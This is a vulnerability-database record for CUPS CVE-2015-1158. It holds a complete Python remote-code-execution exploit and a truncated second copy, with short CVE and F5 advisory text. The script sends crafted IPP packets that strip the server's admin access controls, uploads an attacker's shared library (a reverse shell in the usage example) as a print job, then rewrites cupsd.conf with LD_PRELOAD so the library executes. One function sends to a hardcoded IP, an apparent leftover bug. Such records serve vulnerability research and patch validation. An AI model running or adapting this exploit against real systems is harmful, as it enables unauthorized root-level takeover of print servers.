{"lastseen": "2017-02-03T17:04:32", "references": [], "description": "", "reporter": "0x00string", "published": "2017-02-03T00:00:00", "type": "packetstorm", "title": "CUPS Remote Code Execution", "enchantments": {"score": {"value": 7.5, "vector": "NONE", "modified": "2017-02-03T17:04:32", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2015-1158"]}, {"type": "f5", "idList": ["SOL16794"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4CB42140E06509F8B1AAEC2A1095ADF4", "EXPLOITPACK:892E7440DFB4E752F2AA0B87194C551D"]}, {"type": "zdt", "idList": ["1337DAY-ID-26891", "1337DAY-ID-23782"]}, {"type": "slackware", "idList": ["SSA-2015-188-01"]}, {"type": "exploitdb", "idList": ["EDB-ID:41233", "EDB-ID:37336"]}, {"type": "nessus", "idList": ["GENTOO_GLSA-201510-07.NASL", "UBUNTU_USN-2629-1.NASL", "FEDORA_2015-9726.NASL", "DEBIAN_DSA-3283.NASL", "SLACKWARE_SSA_2015-188-01.NASL", "CUPS_2_0_3.NASL", "FEDORA_2015-9801.NASL", "FREEBSD_PKG_A40EC9700EFA11E590E4D050996490D0.NASL", "DEBIAN_DLA-239.NASL", "SL_20150617_CUPS_ON_SL6_X.NASL"]}, {"type": "freebsd", "idList": ["A40EC970-0EFA-11E5-90E4-D050996490D0"]}, {"type": "gentoo", "idList": ["GLSA-201510-07"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310882201", "OPENVAS:1361412562310842238", "OPENVAS:1361412562310120032", "OPENVAS:1361412562310882202", "OPENVAS:703283", "OPENVAS:1361412562310869513", "OPENVAS:1361412562310703283", "OPENVAS:1361412562310850659", "OPENVAS:1361412562310121420", "OPENVAS:1361412562310105298"]}, {"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:14537", "SECURITYVULNS:DOC:32208"]}, {"type": "debian", "idList": ["DEBIAN:DLA-239-1:10F45", "DEBIAN:DSA-3283-1:BE2B4"]}, {"type": "archlinux", "idList": ["ASA-201506-2"]}, {"type": "ubuntu", "idList": ["USN-2629-1"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:132389"]}, {"type": "cert", "idList": ["VU:810572"]}, {"type": "suse", "idList": ["SUSE-SU-2015:1044-2", "SUSE-SU-2015:1044-1", "SUSE-SU-2015:1041-1", "OPENSUSE-SU-2015:1056-1"]}, {"type": "oraclelinux", "idList": ["ELSA-2015-1123"]}, {"type": "centos", "idList": ["CESA-2015:1123"]}, {"type": "redhat", "idList": ["RHSA-2015:1123"]}, {"type": "amazon", "idList": ["ALAS-2015-559"]}], "modified": "2017-02-03T17:04:32", "rev": 2}, "vulnersScore": 7.5}, "bulletinFamily": "exploit", "cvelist": ["CVE-2015-1158"], "modified": "2017-02-03T00:00:00", "id": "PACKETSTORM:140920", "href": "https://packetstormsecurity.com/files/140920/CUPS-Remote-Code-Execution.html", "viewCount": 1301, "sourceData": "`#!/usr/bin/python

# Exploit Title: CUPS Reference Count Over Decrement Remote Code Execution

# Google Dork: n/a

# Date: 2/2/17

# Exploit Author: @0x00string

# Vendor Homepage: cups.org

# Software Link: https://github.com/apple/cups/releases/tag/release-2.0.2

# Version: <2.0.3

# Tested on: Ubuntu 14/15

# CVE : CVE-2015-1158

import os, re, socket, random, time, getopt, sys

from socket import *

from struct import *



def banner():

print '''

lol ty google

0000000000000

0000000000000000000 00

00000000000000000000000000000

0000000000000000000000000000000

000000000 0000000000

00000000 0000000000

0000000 000000000000

0000000 000000000000000

000000 000000000 000000

0000000 000000000 000000

000000 000000000 000000

000000 000000000 000000

000000 00000000 000000

000000 000000000 000000

0000000 000000000 0000000

000000 000000000 000000

0000000000000000 0000000

0000000000000 0000000

00000000000 00000000

00000000000 000000000

0000000000000000000000000000000

00000000000000000000000000000

000 0000000000000000000

0000000000000

@0x00string

github.com/0x00string/oldays/CVE-2015-1158.py

'''



def usage ():

print (\"python script.py <args>\

\"

\" -h, --help: Show this message\

\"

\" -a, --rhost: Target IP address\

\"

\" -b, --rport: Target IPP service port\

\"

\" -c, --lib /path/to/payload.so\

\"

\" -f, --stomp-only Only stomp the ACL (no postex)\

\"

\"\

\"

\"Examples:\

\"

\"python script.py -a 10.10.10.10 -b 631 -f\

\"

\"python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so\

\")

exit()



def pretty (t, m):

if (t is \"+\"):

print \"\\x1b[32;1m[+]\\x1b[0m\\t\" + m + \"\

\",

elif (t is \"-\"):

print \"\\x1b[31;1m[-]\\x1b[0m\\t\" + m + \"\

\",

elif (t is \"*\"):

print \"\\x1b[34;1m[*]\\x1b[0m\\t\" + m + \"\

\",

elif (t is \"!\"):

print \"\\x1b[33;1m[!]\\x1b[0m\\t\" + m + \"\

\",



def createDump (input):

d, b, h = '', [], []

u = list(input)

for e in u:

h.append(e.encode(\"hex\"))

if e == '0x0':

b.append('0')

elif 30 > ord(e) or ord(e) > 128:

b.append('.')

elif 30 < ord(e) or ord(e) < 128:

b.append(e)



i = 0

while i < len(h):

if (len(h) - i ) >= 16:

d += ' '.join(h[i:i+16])

d += \" \"

d += ' '.join(b[i:i+16])

d += \"\

\"

i = i + 16

else:

d += ' '.join(h[i:(len(h) - 0 )])

pad = len(' '.join(h[i:(len(h) - 0 )]))

d += ' ' * (56 - pad)

d += ' '.join(b[i:(len(h) - 0 )])

d += \"\

\"

i = i + len(h)



return d



class tcpsock:

def __init__(self, sock=None):

if sock is None:

self.sock = socket(

AF_INET, SOCK_STREAM)

self.sock.settimeout(30)

else:

self.sock = sock

def connect(self, host, port):

self.sock.connect((host, int(port)))

def tx(self, msg):

self.sock.send(msg)

def rx(self):

tmp = self.sock.recv(1024)

msg = \"\"

while tmp:

msg += tmp

tmp = self.sock.recv(1024)

return msg



def txrx (ip, port, proto, txpacket):

if (proto is \"tcp\"):

sock = tcpsock()

elif (proto is \"udp\"):

sock = udpsock()

else:

return None

sock.connect(ip, port)

sock.tx(txpacket)

rxpacket = sock.rx()

return rxpacket



def locatePrinters(rhost, rport=\"631\"):

request = ( \"GET /printers HTTP/1.1\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Close\\x0d\\x0a\"

\"\\x0d\\x0a\")

response = txrx(rhost, int(rport), \"tcp\", request)

if response is not None:

m = re.search('<TR><TD><A HREF=\"(.+)\">.+</A></TD><TD>.+</TD><TD></TD><TD>.+</TD><TD>', response)

if m is not None:

printer = m.group(1)

pretty(\"+\",\"printer found: \" + printer)

else:

pretty(\"-\",\"no printers\")

exit(1)

return printer



def preparePayload(libpath):

with open(libpath, 'rb') as f:

payload = f.read()

if payload is not None:

pretty(\"*\",\"Payload:\

\" + createDump(payload))

else:

pretty(\"-\",\"something went wrong\")

usage()

return payload



def seedTarget(rhost, rport, printer, payload):

i = random.randint(1,3)

reqid = str(pack(\">i\",(i+2)))

reqid2 = str(pack(\">i\",(i+3)))

printer_uri = \"ipp://\" + rhost + \":\" + str(rport) + printer



create_job_packet = (\"\\x02\\x00\"

\"\\x00\\x05\"+

reqid+

\"\\x01\"

\"\\x47\"+\"\\x00\\x12\"+\"attributes-charset\"+\"\\x00\\x05\"+\"utf-8\"

\"\\x48\"+\"\\x00\\x1b\"+\"attributes-natural-language\"+\"\\x00\\x05\"+\"en-us\"

\"\\x45\"+\"\\x00\\x0b\"+\"printer-uri\" + str(pack(\">h\", len(printer_uri))) + printer_uri +

\"\\x42\"+\"\\x00\\x14\"+\"requesting-user-name\"+\"\\x00\\x04\"+\"root\"

\"\\x42\"+\"\\x00\\x08\"+\"job-name\"+\"\\x00\\x06\"+\"badlib\"

\"\\x02\"

\"\\x21\"+\"\\x00\\x06\"+\"copies\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x01\"

\"\\x23\"+\"\\x00\\x0a\"+\"finishings\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x03\"

\"\\x42\"+\"\\x00\\x10\"+\"job-cancel-after\"+\"\\x00\\x05\"+\"\\x31\\x30\\x38\\x30\\x30\"

\"\\x44\"+\"\\x00\\x0e\"+\"job-hold-until\"+\"\\x00\\x0a\"+\"indefinite\"

\"\\x21\"+\"\\x00\\x0c\"+\"job-priority\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x32\"

\"\\x42\"+\"\\x00\\x0a\"+\"job-sheets\"+\"\\x00\\x04\"+\"none\"+\"\\x42\"+\"\\x00\\x00\\x00\\x04\"+\"none\"

\"\\x21\"+\"\\x00\\x09\"+\"number-up\"+\"\\x00\\x04\"+\"\\x00\\x00\\x00\\x01\"

\"\\x03\")

pretty(\"*\",\"Sending createJob\")



http_header1 = ( \"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"

\"Content-Type: application/ipp\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + str(rport) + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Close\\x0d\\x0a\"

\"Content-Length: \" + str(len(create_job_packet) + 0) + \"\\x0d\\x0a\"

\"\\x0d\\x0a\")



createJobRequest = http_header1 + create_job_packet

blah = txrx(rhost,int(rport),\"tcp\",createJobRequest)

if blah is not None:

m = re.search(\"ipp://\" + rhost + \":\" + str(rport) + \"/jobs/(\\d+)\",blah)

if m is not None:

jobid = m.group(1)

else:

pretty(\"-\",\"something went wrong\");

exit()



pretty(\"*\",\"\

\" + createDump(blah) + \"\

\")

pretty(\"*\", \"Sending sendJob\")



send_document_packet = (\"\\x02\\x00\"

\"\\x00\\x06\"+

reqid2+

\"\\x01\"

\"\\x47\"+\"\\x00\\x12\"+\"attributes-charset\"+\"\\x00\\x05\"+\"utf-8\"

\"\\x48\"+\"\\x00\\x1b\"+\"attributes-natural-language\"+\"\\x00\\x05\"+\"en-us\"

\"\\x45\"+\"\\x00\\x0b\"+\"printer-uri\" + str(pack(\">h\", len(printer_uri))) + printer_uri +

\"\\x21\"+\"\\x00\\x06\"+\"job-id\"+\"\\x00\\x04\"+ str(pack(\">i\", int(jobid))) +

\"\\x42\"+\"\\x00\\x14\"+\"requesting-user-name\"+\"\\x00\\x04\"+\"root\"

\"\\x42\"+\"\\x00\\x0d\"+\"document-name\"+\"\\x00\\x06\"+\"badlib\"

\"\\x49\"+\"\\x00\\x0f\"+\"document-format\"+\"\\x00\\x18\"+\"application/octet-stream\"

\"\\x22\"+\"\\x00\\x0d\"+\"last-document\"+\"\\x00\\x01\"+\"\\x01\"

\"\\x03\"+

payload)



http_header2 = ( \"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"

\"Content-Type: application/ipp\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + str(rport) + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Close\\x0d\\x0a\"

\"Content-Length: \" + str(len(send_document_packet) + 0) + \"\\x0d\\x0a\"

\"\\x0d\\x0a\")



sendJobRequest = http_header2 + send_document_packet

blah2 = txrx(\"172.20.32.3\",631,\"tcp\",sendJobRequest)

pretty(\"*\",\"\

\" + createDump(blah) + \"\

\")

pretty(\"*\",\"job id: \" + jobid)

return jobid



def stompACL(rhost, rport, printer):

i = random.randint(1,1024)

printer_url = \"ipp://\" + rhost + \":\" + rport + printer



admin_stomp = (\"\\x02\\x00\" # vers 2.0

\"\\x00\\x05\"+ # op id: Create Job (0x0005)

str(pack(\">i\",(i+1)))+

\"\\x01\" # op attributes marker

\"\\x47\" # charset

\"\\x00\\x12\" # name len: 18

\"attributes-charset\"

\"\\x00\\x08\" # val len: 8

\"us-ascii\"

\"\\x48\" # natural language

\"\\x00\\x1b\" # name len: 27

\"attributes-natural-language\"

\"\\x00\\x06\" # val len: 6

\"/admin\"

\"\\x45\" # printer-uri

\"\\x00\\x0b\" # name len 11

\"printer-uri\" +

str(pack(\">h\", len(printer_url))) + printer_url +

\"\\x42\" # name without lang

\"\\x00\\x14\" # name len: 20

\"requesting-user-name\"

\"\\x00\\x06\" # val len: 6

\"/admin\"

\"\\x02\" # job attrs marker

\"\\x21\" # integer

\"\\x00\\x06\" # name len: 6

\"copies\"

\"\\x00\\x04\" # val len: 4

\"\\x00\\x00\\x00\\x01\" # 1

\"\\x42\" # name w/o lang

\"\\x00\\x19\" # name len: 25

\"job-originating-host-name\"

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x36\" # nwl

\"\\x00\\x00\" # name len: 0

\"\\x00\\x16\" # val len: 22

\"\\x00\\x06\" # length

\"/admin\"

\"\\x00\\x0c\"

\"BBBBBBBBBBBB\"

\"\\x03\") # end of attributes



conf_stomp = (\"\\x02\\x00\" # vers 2.0

\"\\x00\\x05\"+ # op id: Create Job (0x0005)

str(pack(\">i\",(i+2)))+

\"\\x01\" # op attributes marker

\"\\x47\" # charset

\"\\x00\\x12\" # name len: 18

\"attributes-charset\"

\"\\x00\\x08\" # val len: 8

\"us-ascii\"

\"\\x48\" # natural language

\"\\x00\\x1b\" # name len: 27

\"attributes-natural-language\"

\"\\x00\\x0b\" # val len: 11

\"/admin/conf\"

\"\\x45\" # printer-uri

\"\\x00\\x0b\" # name len 11

\"printer-uri\" +

str(pack(\">h\", len(printer_url))) + printer_url +

\"\\x42\" # name without lang

\"\\x00\\x14\" # name len: 20

\"requesting-user-name\"

\"\\x00\\x0b\" # val len: 11

\"/admin/conf\"

\"\\x02\" # job attrs marker

\"\\x21\" # integer

\"\\x00\\x06\" # name len: 6

\"copies\"

\"\\x00\\x04\" # val len: 4

\"\\x00\\x00\\x00\\x01\" # 1

\"\\x42\" # name w/o lang

\"\\x00\\x19\" # name len: 25

\"job-originating-host-name\"

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x42\" # nwol

\"\\x00\\x00\" # name len: 0

\"\\x00\\x0c\" # val len: 12

\"AAAAAAAAAAAA\"

\"\\x36\" # nwl

\"\\x00\\x00\" # name len: 0

\"\\x00\\x1b\" # val len: 27

\"\\x00\\x0b\" # length

\"/admin/conf\"

\"\\x00\\x0c\"

\"BBBBBBBBBBBB\"

\"\\x03\") # end of attributes



http_header1 = (\"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"

\"Content-Type: application/ipp\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Close\\x0d\\x0a\"

\"Content-Length: \" + str(len(admin_stomp)) + \"\\x0d\\x0a\"

\"\\x0d\\x0a\")



http_header2 = (\"POST \" + printer + \" HTTP/1.1\\x0d\\x0a\"

\"Content-Type: application/ipp\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Close\\x0d\\x0a\"

\"Content-Length: \" + str(len(conf_stomp)) + \"\\x0d\\x0a\"

\"\\x0d\\x0a\")



pretty(\"*\",\"stomping ACL\")

pretty(\"*\",\">:\

\" + createDump(http_header1 + admin_stomp))

pretty(\"*\",\"<:\

\" + createDump(txrx(rhost,rport,\"tcp\",http_header1 + admin_stomp)))

time.sleep(1)

pretty(\"*\",\">:\

\" + createDump(http_header2 + conf_stomp))

pretty(\"*\",\"<:\

\" + createDump(txrx(rhost,rport,\"tcp\",http_header2 + conf_stomp)))



http_header_check = (\"GET /admin HTTP/1.1\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Close\\x0d\\x0a\"

\"\\x0d\\x0a\")

pretty(\"*\",\"checking /admin\")

pretty(\"*\",\">:\

\" + createDump(http_header_check))

res = txrx(rhost,rport,\"tcp\",http_header_check)

pretty(\"*\",\"<:\

\" + createDump(res))

m = re.search('200 OK', res)

if m is not None:

pretty(\"+\",\"ACL stomp successful\")

else:

pretty(\"-\",\"exploit failed\")

exit(1)





def getConfig(rhost, rport):

i = random.randint(1,1024)

original_config = \"\"

http_request = (\"GET /admin/conf/cupsd.conf HTTP/1.1\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Close\\x0d\\x0a\"

\"\\x0d\\x0a\")



pretty(\"*\",\"grabbing configuration file....\")

res = txrx(rhost,rport,\"tcp\",http_request)

res_array = res.split(\"\\x0d\\x0a\\x0d\\x0a\")

original_config = res_array[1]

pretty(\"*\",\"config:\

\" + original_config + \"\

\")

return original_config



def putConfig(rhost, rport, config):

http_request = (\"PUT /admin/conf/cupsd.conf HTTP/1.1\\x0d\\x0a\"

\"Content-Type: application/ipp\\x0d\\x0a\"

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"

\"Connection: Keep-Alive\\x0d\\x0a\"

\"Content-Length: \" + str(len(config)) + \"\\x0d\\x0a\"

\"\\x0d\\x0a\")

pretty(\"*\",\"overwriting config...\")

pretty(\"*\",\">:\

\" + createDump(http_request + config))

pretty(\"*\",\"<:\

\" + createDump(txrx(rhost,rport,\"tcp\",http_request + config)))



def poisonConfig(config, name):

config = config + \"\\x0a\\x0aSetEnv LD_PRELOAD /var/spool/cups/d00\" + name + \"-001\\x0a\"

return config



def main():

rhost = None;

noshell = None;

options, remainder = getopt.getopt(sys.argv[1:], 'a:b:c:f:h:', ['rhost=','rport=','lib=','stomp-only','help',])

for opt, arg in options:

if opt in ('-h', '--help'):

usage()

elif opt in ('-a','--rhost'):

rhost = arg;

elif opt in ('-b','--rport'):

rport = arg;

elif opt in ('-c','--lib'):

libpath = arg;

elif opt in ('-f','--stomp-only'):

noshell = 1;

banner()

if rhost is None or rport is None:

usage()

pretty(\"*\",\"locate available printer\")

printer = locatePrinters(rhost, rport)

pretty(\"*\",\"stomp ACL\")

stompACL(rhost, rport, printer)

if (noshell is not None):

pretty(\"*\",\"fin\")

exit(0)

pretty(\"*\",\"prepare payload\")

payload = preparePayload(libpath)

pretty(\"*\",\"spray payload\")

jobid = seedTarget(rhost, rport, printer, payload)

pretty(\"*\",\"grab original config\")

OG_config = getConfig(rhost, rport)

pretty(\"*\",\"generate poison config\")

evil_config = poisonConfig(OG_config, jobid)

pretty(\"*\",\"upload poison config\")

putConfig(rhost, rport, evil_config)

pretty(\"*\",\"fin\")

exit(0);



if __name__ == \"__main__\":

main()



`

", "cvss": {"vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/", "score": 10.0}, "sourceHref": "https://packetstormsecurity.com/files/download/140920/cups-exec.txt"}

{"cve": [{"lastseen": "2019-05-29T18:14:40", "description": "The add_job function in scheduler/ipp.c in cupsd in CUPS before 2.0.3 performs incorrect free operations for multiple-value job-originating-host-name attributes, which allows remote attackers to trigger data corruption for reference-counted strings via a crafted (1) IPP_CREATE_JOB or (2) IPP_PRINT_JOB request, as demonstrated by replacing the configuration file and consequently executing arbitrary code.", "edition": 1, "cvss3": {}, "published": "2015-06-26T10:59:00", "title": "CVE-2015-1158", "type": "cve", "cwe": ["CWE-254"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-1158"], "modified": "2017-09-23T01:29:00", "cpe": [], "id": "CVE-2015-1158", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1158", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": []}], "f5": [{"lastseen": "2016-03-19T09:01:42", "bulletinFamily": "software", "cvelist": ["CVE-2015-1158", "CVE-2015-1159"], "edition": 1, "description": " * [CVE-2015-1158](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1158>)



A string reference count bug was found in cupsd, causing premature freeing of string objects. An attacker can submit a malicious print job that exploits this flaw to dismantle ACLs protecting privileged operations, allowing a replacement configuration file to be uploaded, which in turn allows the attacker to run arbitrary code on the CUPS server.



* [CVE-2015-1159](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1159>)



A cross-site scripting bug in the CUPS templating engine allows this bug to be exploited when a user browses the web.

", "modified": "2015-06-23T00:00:00", "published": "2015-06-23T00:00:00", "href": "http://support.f5.com/kb/en-us/solutions/public/16000/700/sol16794.html", "id": "SOL16794", "title": "SOL16794 - CUPS vulnerabilities CVE-2015-1158 / CVE-2015-1159", "type": "f5", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "zdt": [{"lastseen": "2018-01-08T23:03:57", "description": "Exploit for linux platform in category remote exploits", "edition": 1, "published": "2017-02-03T00:00:00", "title": "CUPS 2.0.3 - Remote Command Execution Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2015-1158"], "modified": "2017-02-03T00:00:00", "href": "https://0day.today/exploit/description/26891", "id": "1337DAY-ID-26891", "sourceData": "#!/usr/bin/python\r

# Exploit Title: CUPS Reference Count Over Decrement Remote Code Execution\r

# Google Dork: n/a\r

# Date: 2/2/17\r

# Exploit Author: @0x00string\r

# Vendor Homepage: cups.org\r

# Software Link: https://github.com/apple/cups/releases/tag/release-2.0.2\r

# Version: <2.0.3\r

# Tested on: Ubuntu 14/15\r

# CVE : CVE-2015-1158\r

import os, re, socket, random, time, getopt, sys\r

from socket import *\r

from struct import *\r

\r

def banner():\r

print '''\r

lol ty google\r

0000000000000\r

0000000000000000000 00\r

00000000000000000000000000000\r

0000000000000000000000000000000\r

000000000 0000000000\r

00000000 0000000000\r

0000000 000000000000\r

0000000 000000000000000\r

000000 000000000 000000\r

0000000 000000000 000000\r

000000 000000000 000000\r

000000 000000000 000000\r

000000 00000000 000000\r

000000 000000000 000000\r

0000000 000000000 0000000\r

000000 000000000 000000\r

0000000000000000 0000000\r

0000000000000 0000000\r

00000000000 00000000\r

00000000000 000000000\r

0000000000000000000000000000000\r

00000000000000000000000000000\r

000 0000000000000000000\r

0000000000000\r

@0x00string\r

github.com/0x00string/oldays/CVE-2015-1158.py\r

'''\r

\r

def usage ():\r

print (\"python script.py <args>\

\"\r

\" -h, --help: Show this message\

\"\r

\" -a, --rhost: Target IP address\

\"\r

\" -b, --rport: Target IPP service port\

\"\r

\" -c, --lib /path/to/payload.so\

\"\r

\" -f, --stomp-only Only stomp the ACL (no postex)\

\"\r

\"\

\"\r

\"Examples:\

\"\r

\"python script.py -a 10.10.10.10 -b 631 -f\

\"\r

\"python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so\

\")\r

exit()\r

\r

def pretty (t, m):\r

if (t is \"+\"):\r

print \"\\x1b[32;1m[+]\\x1b[0m\\t\" + m + \"\

\",\r

elif (t is \"-\"):\r

print \"\\x1b[31;1m[-]\\x1b[0m\\t\" + m + \"\

\",\r

elif (t is \"*\"):\r

print \"\\x1b[34;1m[*]\\x1b[0m\\t\" + m + \"\

\",\r

elif (t is \"!\"):\r

print \"\\x1b[33;1m[!]\\x1b[0m\\t\" + m + \"\

\",\r

\r

def createDump (input):\r

d, b, h = '', [], []\r

u = list(input)\r

for e in u:\r

h.append(e.encode(\"hex\"))\r

if e == '0x0':\r

b.append('0')\r

elif 30 > ord(e) or ord(e) > 128:\r

b.append('.')\r

elif 30 < ord(e) or ord(e) < 128:\r

b.append(e)\r

\r

i = 0\r

while i < len(h):\r

if (len(h) - i ) >= 16:\r

d += ' '.join(h[i:i+16])\r

d += \" \"\r

d += ' '.join(b[i:i+16])\r

d += \"\

\"\r

i = i + 16\r

else:\r

d += ' '.join(h[i:(len(h) - 0 )])\r

pad = len(' '.join(h[i:(len(h) - 0 )]))\r

d += ' ' * (56 - pad)\r

d += ' '.join(b[i:(len(h) - 0 )])\r

d += \"\

\"\r

i = i + len(h)\r

\r

return d\r

\r

class tcpsock:\r

def __init__(self, sock=None):\r

if sock is None:\r

self.sock = socket(\r

AF_INET, SOCK_STREAM)\r

self.sock.settimeout(30)\r

else:\r

self.sock = sock\r

def connect(self, host, port):\r

self.sock.connect((host, int(port)))\r

def tx(self, msg):\r

self.sock.send(msg)\r

def rx(self):\r

tmp = self.sock.recv(1024)\r

msg = \"\"\r

while tmp:\r

msg += tmp\r

tmp = self.sock.recv(1024)\r

return msg\r

\r

def txrx (ip, port, proto, txpacket):\r

if (proto is \"tcp\"):\r

sock = tcpsock()\r

elif (proto is \"udp\"):\r

sock = udpsock()\r

else:\r

return None\r

sock.connect(ip, port)\r

sock.tx(txpacket)\r

rxpacket = sock.rx()\r

return rxpacket\r

\r

def locatePrinters(rhost, rport=\"631\"):\r

request = ( \"GET /printers HTTP/1.1\\x0d\\x0a\"\r

\"Host: \" + rhost + \":\" + rport + \"\\x0d\\x0a\"\r

\"User-Agent: CUPS/2.0.2\\x0d\\x0a\"\r

\"Connection: Close\\x0d\\x0a\"\r

\"\\x0d\\x0a\")\r

response = txrx(rhost, int(rport), \"tcp\", request)\r

if response is not None:\r

m = re.search('<TR><TD><A HREF=\"(.+)\">.+</A></TD><TD>.+</TD><TD></TD><TD>.+</TD><TD>', response)\r

if m is not None:\r

printer = m.group(1)\r

pretty(\"+\",\"printer found: \" + printer)\r

else:\r

pretty(\"-\",\"no printers\")\r

exit(1)\r

return printer\r

\r

def preparePayload(libpath):\r

with open(libpath, 'rb') as f:\r

payload = f.read()\r

if payload is not None:\r

pretty(\"*\",\"Payload:\

\" + createDump(payload))\r

else:\r

pretty(\"-\",\"something went wrong\")\r

usage()\r

return payload\r

\r

def seedTarget(rhost, rport, printer, payload):\r

i = random.randint(1,3)\r

reqid = str(pack(\">i\",(i+2)))\r

reqid2 = str(pack(\">i\",(i+3)))\r

printer_uri = \"ipp://\" + rhost + \":\" + str(rport) + printer\r

\r

create_job_packet = (\"\\x02\\x00\"\r

\"\\x00\\x05\"+\r

reqid+\r

\"\\x01\"\r

\"\\x47\"+\"\\x00\\x12\"+\"attributes-charset\"+\"\\x00\\x05\"+\"utf-8\"\r

\"\\x48\"+\"\\x00\\x1b\"+\"attributes-natural-language\"+\"\\x00\\x05\"+\"en-us\"\r

\"\\x45\"+\"\\x00\\x0b\"+\"printer-uri\" + str(pack(\">h\", len(printer_uri))) + printer_uri +\r

